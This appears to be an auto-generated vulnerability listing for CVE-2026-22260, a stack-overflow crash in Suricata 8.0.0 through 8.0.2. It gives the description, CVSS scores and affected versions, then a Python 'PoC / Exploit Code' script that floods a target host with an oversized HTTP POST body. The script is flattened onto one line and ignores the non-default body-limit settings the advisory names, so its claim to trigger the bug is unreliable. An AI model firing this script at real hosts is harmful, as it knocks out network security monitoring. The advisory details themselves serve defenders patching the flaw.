Security Vulnerability Report
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CVE-2026-22260 CVSS 7.5 HIGH

CVE-2026-22260

Published: 2026-01-27 18:15:55
Last Modified: 2026-01-29 21:03:55

Description

Suricata is a network IDS, IPS and NSM engine. Starting in version 8.0.0 and prior to version 8.0.3, Suricata can crash with a stack overflow. Version 8.0.3 patches the issue. As a workaround, use default values for `request-body-limit` and `response-body-limit`.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:oisf:suricata:*:*:*:*:*:*:*:* - VULNERABLE
Suricata 8.0.0
Suricata 8.0.1
Suricata 8.0.2

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import socket import sys def send_malicious_request(target_ip, target_port): """ PoC for CVE-2026-22260 - Suricata Stack Overflow DoS This PoC sends an HTTP request with oversized body to trigger stack overflow """ # Create large payload to trigger stack overflow body_size = 100000 # Large body size payload = b'A' * body_size # HTTP request with large body http_request = ( b'POST / HTTP/1.1\r\n' b'Host: ' + target_ip.encode() + b':' + str(target_port).encode() + b'\r\n' b'Content-Length: ' + str(body_size).encode() + b'\r\n' b'\r\n' + payload ) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((target_ip, target_port)) sock.send(http_request) print(f'[+] Malicious request sent to {target_ip}:{target_port}') sock.close() except Exception as e: print(f'[-] Error: {e}') if __name__ == '__main__': if len(sys.argv) < 3: print(f'Usage: {sys.argv[0]} <target_ip> <target_port>') sys.exit(1) send_malicious_request(sys.argv[1], int(sys.argv[2]))

References

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